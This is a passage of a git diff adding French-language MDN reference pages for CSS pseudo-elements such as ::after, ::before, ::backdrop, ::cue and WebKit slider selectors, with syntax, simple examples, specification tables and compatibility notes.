+<h2 id="Syntaxe"><strong>Syntaxe</strong></h2>
+
+<pre class="syntaxbox"> <em>selecteur</em>::-webkit-search-results-button</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-search-results-button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('::-webkit-search-cancel-button')}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-slider-runnable-track/index.html b/files/fr/web/css/_doublecolon_-webkit-slider-runnable-track/index.html
new file mode 100644
index 0000000000..c54cd2724b
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-slider-runnable-track/index.html
@@ -0,0 +1,35 @@
+---
+title: '::-webkit-slider-runnable-track'
+slug: 'Web/CSS/::-webkit-slider-runnable-track'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-slider-runnable-track'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-slider-runnable-track</code></strong> représente la piste utilisée par un élément {{HTMLElement("input")}} de type <code>"range"</code> (cf. {{HTMLElement("input/range", '&lt;input type="range"&gt;')}}).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-slider-runnable-track")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-slider-thumb")}}</li>
+ <li>Similar pseudo-elements used by other browsers:
+  <ul>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-slider-thumb/index.html b/files/fr/web/css/_doublecolon_-webkit-slider-thumb/index.html
new file mode 100644
index 0000000000..5dbe854f7c
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-slider-thumb/index.html
@@ -0,0 +1,36 @@
+---
+title: '::-webkit-slider-thumb'
+slug: 'Web/CSS/::-webkit-slider-thumb'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-slider-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-slider-thumb</code></strong> représente le curseur que peut déplacer l'utilisateur le long de la piste d'un élément {{HTMLElement("input")}} de type "<code>range"</code> afin de modifier la valeur numérique associée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-slider-thumb")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-slider-runnable-track")}}</li>
+ <li>Les pseudo-éléments analogues utilisés par les autres navigateurs :
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_after/index.html b/files/fr/web/css/_doublecolon_after/index.html
new file mode 100644
index 0000000000..7aa9760fa6
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_after/index.html
@@ -0,0 +1,181 @@
+---
+title: '::after (:after)'
+slug: 'Web/CSS/::after'
+tags:
+  - CSS
+  - Disposition
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Web/CSS/::after'
+---
+<div>{{CSSRef}}</div>
+
+<p>En CSS, <strong><code>::after</code> </strong>crée un <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> qui sera le dernier enfant de l'élément sélectionné. Il est souvent utilisé pour ajouter du contenu cosmétique à un élément, en utilisant la propriété CSS {{cssxref("content")}}. Par défaut, ce contenu est de type « <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_types_de_boîte">en ligne</a> ».</p>
+
+<pre class="brush:css no-line-numbers">/* Ajoute une flèche après les liens */
+a:after {
+  content: "→";
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> les pseudo-éléments générés par <code>::before</code> et <code>::after</code> sont <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">contenus dans la boîte de mise en forme de l'élément</a>. Aussi, <code>::before</code> et <code>::after</code> ne s'appliquent pas aux <em><a href="/fr/docs/Web/CSS/Élément_remplacé">éléments remplacés</a></em> tels que les éléments {{HTMLElement("img")}} ou {{HTMLElement("br")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> CSS3 a introduit la notation <code>::after</code>  (avec deux deux-points) pour distinguer les <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> des <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-éléments</a>. Les navigateurs acceptent aussi<code>:after</code>, introduite dans CSS2.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>Nous allons ici créer deux classes : une pour les paragraphes ennuyeux et une pour les intéressants. Nous marquerons ensuite chacun de ces paragraphes en ajoutant un pseudo-élément après chacun d’eux.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="texte-ennuyeux"&gt;Voici un peu de vieux texte ennuyeux ordinaire.&lt;/p&gt;
+&lt;p&gt;Voici un peu de texte normal qui n'est ni ennuyeux, ni intéressant.&lt;/p&gt;
+&lt;p class="texte-interessant"&gt;Contribuer à MDN est facile et amusant.
+  Cliquez simplement sur le bouton Modifier pour ajouter de nouveaux exemples vivants, ou améliorer ceux existants.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.texte-interessant::after {
+  content: "&lt;- maintenant, cela *est* intéressant !";
+  color: green;
+}
+
+.texte-ennuyeux::after {
+  content: "&lt;- ENNUYEUX !";
+  color: red;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_simple', '100%', 170)}}</p>
+
+<h3 id="Exemple_décoratif">Exemple décoratif</h3>
+
+<p>On peut mettre en forme du texte ou des images avec la propriété {{cssxref("content")}} à peu près de quelque manière que nous le voulions :</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ruban"&gt;Observez où se trouve la boîte orange.&lt;/span&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ruban {
+  background-color: #5BC8F7;
+}
+
+.ruban::after {
+  content: "Voyez cette boîte orange.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_décoratif', '100%', 60)}}</p>
+
+<h3 id="Bulles_d’information">Bulles d’information</h3>
+
+<p>Dans l'exemple suivant, on illustre le <a href="/fr-FR/docs/Web/CSS/Pseudo-elements">pseudo-élément</a> <code>::after </code>avec l'expression CSS {{cssxref("attr()")}} et un attribut de données personnalisé <code>data-descr</code> afin de créer une <em>bulle d'information</em> de type glossaire en CSS pur.</p>
+
+<p>On peut également aider les utilisateurs de clavier avec cette technique, en ajoutant un <code>tabindex</code> de <code>0</code> pour faire un <code>span</code> focusable, et en utilisant la sélection <code>:focus</code>. Cela montre à quel point les options <code>::before</code> and <code>::after </code>peuvent être flexibles, bien que, pour l'expérience la plus accessible, un widget de divulgation sémantique créé d'une autre manière serait probablement plus approprié..</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Voici l’exemple en action du code ci-dessus.&lt;br /&gt;
+  Nous avons un peu de &lt;span data-descr="collection de mots et de ponctuation"&gt;texte&lt;/span&gt;
+  ici avec quelques &lt;span data-descr="petites fenêtres surgissantes qui se cachent aussi"&gt;
+  bulles d’information&lt;/span&gt;.&lt;br /&gt;
+  Ne soyez pas timide, survolez le texte pour jeter un &lt;span data-descr="à ne pas prendre au sens littéral"&gt;œil&lt;/span&gt;.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Bulles_d’information", '100%', 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Pas de changement significatif depuis la spécification précédente.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Permet les transitions sur les propriétés définies sur les pseudo-éléments.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Permet les animations sur les propriétés définies sur les pseudo-éléments.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::after')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introduit la syntaxe à deux deux-points.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::after')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale, utilisant la syntaxe à un deux-points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("css.selectors.after")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::before")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_backdrop/index.html b/files/fr/web/css/_doublecolon_backdrop/index.html
new file mode 100644
index 0000000000..feb1775822
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_backdrop/index.html
@@ -0,0 +1,78 @@
+---
+title: '::backdrop'
+slug: 'Web/CSS/::backdrop'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::backdrop'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-%C3%A9l%C3%A9ments">pseudo-élément</a> <code><strong>::backdrop</strong></code> est une boîte de la taille de la zone d'affichage (<em>viewport</em>) qui est affichée immédiatement sous un élément lorsque ce dernier est affiché en plein écran. Cela correspond aux éléments passés en plein écran via l'<a href="/fr/docs/Web/API/Fullscreen_API">API Fullscreen</a> et aux éléments {{HTMLElement("dialog")}}.</p>
+
+<p>Lorsque plusieurs éléments sont en plein écran, ce pseudo-élément est dessiné derrière l'élément qui est le plus en avant et par dessus les autres éléments.</p>
+
+<pre class="brush: css no-line-numbers">// Cette ombre n'est affichée que lorsque la boîte de dialogue
+// est ouverte avec dialog.showModal()
+dialog::backdrop {
+  background: rgba(255,0,0,.25);
+}</pre>
+
+<p class="note"><strong>Note :</strong> L'élément <code>::backdrop</code> peut être utilisé comme un arrière-plan/masque pour l'élément afin de cacher le document en-dessous lorsque l'élément est affiché en plein écran selon la spécification.</p>
+
+<p>Ce pseudo-élément n'hérite d'aucun autre élément et aucun autre élément n'hérite de ce pseudo-élément. Aucune restriction ne s'applique pour les propriétés qui peuvent être appliquées à ce pseudo-élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on indique que l'ombre derrière la vidéo en plein écran doit être bleu-gris plutôt que noire.</p>
+
+<pre class="brush: css">video::backdrop {
+  background-color: #448;
+}
+</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16287/bbb-backdrop.png" style="height: 282px; width: 500px;"></p>
+
+<p>On peut voir ici les bandes bleu-gris au dessus et en dessous de la vidéo alors que la zone est normalement noire.</p>
+
+<p>Vous pouvez <a href="https://fullscreen-requestfullscreen-demo.glitch.me/">voir cette démonstration en <em>live</em></a> ou <a href="https://glitch.com/edit/#!/fullscreen-requestfullscreen-demo">voir et modifier le code sur Glitch</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#::backdrop-pseudo-element', '::backdrop')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.backdrop")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe {{cssxref(":fullscreen")}}</li>
+ <li>L'élément HTML {{HTMLElement("dialog")}}</li>
+ <li><a href="/fr/docs/Web/API/Fullscreen_API">L'API Fullscreen</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_before/index.html b/files/fr/web/css/_doublecolon_before/index.html
new file mode 100644
index 0000000000..4e30107c80
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_before/index.html
@@ -0,0 +1,190 @@
+---
+title: '::before (:before)'
+slug: 'Web/CSS/::before'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::before'
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>::before</code></strong> crée un <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> qui sera le premier enfant de l'élément ciblé. Généralement utilisé pour ajouter du contenu esthétique à un élément via la propriété CSS {{cssxref("content")}}. Par défaut, l'élément créé est de type en-ligne (<em>inline</em>).</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* On ajoute un coeur avant les liens */
+a::before {
+  content: "♥";
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les pseudo-éléments générés par <code>::before</code> et <code>::after</code> sont contenus dans la boîte de mise en forme de l'élément. Aussi, <code>::before</code> et <code>::after</code> ne s'appliquent pas <a href="/fr/docs/Web/CSS/Élément_remplacé">aux éléments remplacés</a> tels que {{HTMLElement("img")}} ou {{HTMLElement("br")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<p>La notation <code>::before</code> a été introduite par CSS 3 pour différencier les <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> et les <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-éléments</a>. Les navigateurs acceptent aussi la notation <code>:before </code>introduite par CSS 2.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajouter_des_guillemets">Ajouter des guillemets</h3>
+
+<p>Un exemple simple utilisant les pseudo-éléments pour ajouter des guillemets. Ici nous avons <code>::before</code> et {{cssxref("::after")}} pour effectuer l'insertion.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;q&gt;Quelques guillemets&lt;/q&gt;, dit-il, &lt;q&gt;sont mieux que pas du tout&lt;/q&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">q::before {
+  content: "«";
+  color: blue;
+}
+q::after {
+  content: '»';
+  color: red;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Ajouter_des_guillemets', '500', '50', '')}}</p>
+
+<h3 id="Exemple_décoratif">Exemple décoratif</h3>
+
+<p>Il est possible de mettre du style à du texte ou des images, dans la propriété {{cssxref("content")}} , quasiment de n'importe quelle manière.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;span class="ribbon"&gt;Observez où est placée la boite orange.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Regardez cette boite orange.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_décoratif', 450, 60)}}</p>
+
+<h3 id="Liste_de_choses_à_faire">Liste de choses à faire</h3>
+
+<p>Dans cet exemple, nous allons créer une simple liste de choses à faire en utilisant les pseudo-éléments. Cette méthode peut être utilisée pour ajouter une petite touche à l'interface utilisateur et améliorer l'expérience utilisateur.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Acheter du lait&lt;/li&gt;
+  &lt;li&gt;Promener le chien&lt;/li&gt;
+  &lt;li&gt;Faire de l'exercice&lt;/li&gt;
+  &lt;li&gt;Coder&lt;/li&gt;
+  &lt;li&gt;Jouer de la musique&lt;/li&gt;
+  &lt;li&gt;Se reposer&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">li {
+  list-style-type: none;
+  position: relative;
+  margin: 1px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if( ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('Liste_de_choses_à_faire', '400', '300', '')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Pas de modification significative depuis la spécification précédente.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Les transitions peuvent être appliquées sur les propriétés de ce pseudo-élément.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Les animations peuvent être appliquées sur les propriétés de ce pseudo-élément.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introduction de la syntaxe avec les deux deux-points.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale avec une seule fois le caractère deux-points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.before")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::after")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_cue-region/index.html b/files/fr/web/css/_doublecolon_cue-region/index.html
new file mode 100644
index 0000000000..185f78c396
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_cue-region/index.html
@@ -0,0 +1,84 @@
+---
+title: '::cue-region'
+slug: 'Web/CSS/::cue-region'
+tags:
+  - CSS
+  - Media
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::cue-region'
+---
+<p>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Le pseudo-élément CSS <strong><code>::cue-region</code></strong> correspond à une piste {{DOMxRef("WebVTT API", "WebVTT", "", 1)}} de l'élément ciblé. Il peut être utilisé afin de <a href="/docs/Web/API/WebVTT_API#Styling_WebTT_cues">mettre en forme des sous-titres et autres indications textuelles</a> de pistes VTT.</span></p>
+
+<pre class="brush: css; no-line-numbers">::cue-region {
+  color: yellow;
+  font-weight: bold;
+}</pre>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Les règles utilisant <code>::cue-region</code> sont limitées aux propriétés CSS suivantes :</p>
+
+<ul>
+ <li>{{CSSxRef("background")}} ainsi que les propriétés détaillées correspondantes</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("font")}} ainsi que les propriétés détaillées correspondantes</li>
+ <li>{{CSSxRef("line-height")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline")}} ainsi que les propriétés détaillées correspondantes</li>
+ <li>{{CSSxRef("ruby-position")}}</li>
+ <li>{{CSSxRef("text-combine-upright")}}</li>
+ <li>{{CSSxRef("text-decoration")}} ainsi que les propriétés détaillées correspondantes</li>
+ <li>{{CSSxRef("text-shadow")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("white-space")}}</li>
+</ul>
+
+<p>Les propriétés sont appliquées à l'intégralité des indications textuelles comme si celles-ci formaient une seule unité. La seulle exception à ce comportement est l'application de <code>background</code> (et/ou des propriétés détaillées correspondantes) : cette propriété s'applique distinctement à chaque partie du texte séparément afin d'éviter de masquer ou d'obscurcir de grandes zones de texte sur le média.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Un exemple doit être construit pour cette page, n'hésitez pas à le faire sur la version anglaise d'abord avant de le reporter ici.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT", "#the-cue-region-pseudo-element", "the <code>::cue-region</code> pseudo-element")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.cue-region")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres sélecteurs {{DOMxRef("WebVTT API", "WebVTT", "", 1)}} :
+  <ul>
+   <li>{{CSSxRef("::cue")}}</li>
+   <li>{{CSSxRef(":past")}}</li>
+   <li>{{CSSxRef(":future")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_cue/index.html b/files/fr/web/css/_doublecolon_cue/index.html
new file mode 100644
index 0000000000..7afc17e42c
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_cue/index.html
@@ -0,0 +1,81 @@
+---
+title: '::cue'
+slug: 'Web/CSS/::cue'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+  - WebVTT
+translation_of: 'Web/CSS/::cue'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Le pseudo-élément CSS <strong><code>::cue</code></strong> permet de cibler les indications textuelles <a href="/fr/docs/Web/API/WebVTT_API">WebVTT</a> d'un élément. Ce pseudo-élément peut être utilisé afin de mettre en forme <a href="/fr/docs/Web/API/WebVTT_API#Styling_WebTT_cues">les légendes et autres indications textuelles</a> pour les médias avec des pistes VTT.</span></p>
+
+<pre class="brush: css no-line-numbers">::cue {
+  color: yellow;
+  font-weight: bold;
+}</pre>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seul un sous-ensemble des propriétés CSS peut être utilisé avec le pseudo-élément <code>::cue</code> :</p>
+
+<ul>
+ <li>{{CSSxRef("background")}} et les propriétés détaillées associées</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("font")}} et les propriétés détaillées associées</li>
+ <li>{{CSSxRef("line-height")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline")}} et les propriétés détaillées associées</li>
+ <li>{{CSSxRef("ruby-position")}}</li>
+ <li>{{CSSxRef("text-combine-upright")}}</li>
+ <li>{{CSSxRef("text-decoration")}} et les propriétés détaillées associées</li>
+ <li>{{CSSxRef("text-shadow")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("white-space")}}</li>
+</ul>
+
+<p>Les propriétés sont appliquées à l'ensembles des indications (comme si celles-ci formaient un seul ensemble). Seule <code>background</code> (ou les propriétés raccourcies associées) s'appliquent à chaque indication séparément (afin d'éviter de créer des boîtes qui masqueraient de grandes zones sur le média).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La règle CSS suivante permet d'avoir les indications textuelles dans un texte blanc et sur un arrière-plan qui est une boîte noire transparent.</p>
+
+<pre class="brush: css">::cue {
+  color: #fff;
+  background-color: rgba(0, 0, 0, 0.6);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT", "#the-cue-pseudo-element", "::cue")}}</td>
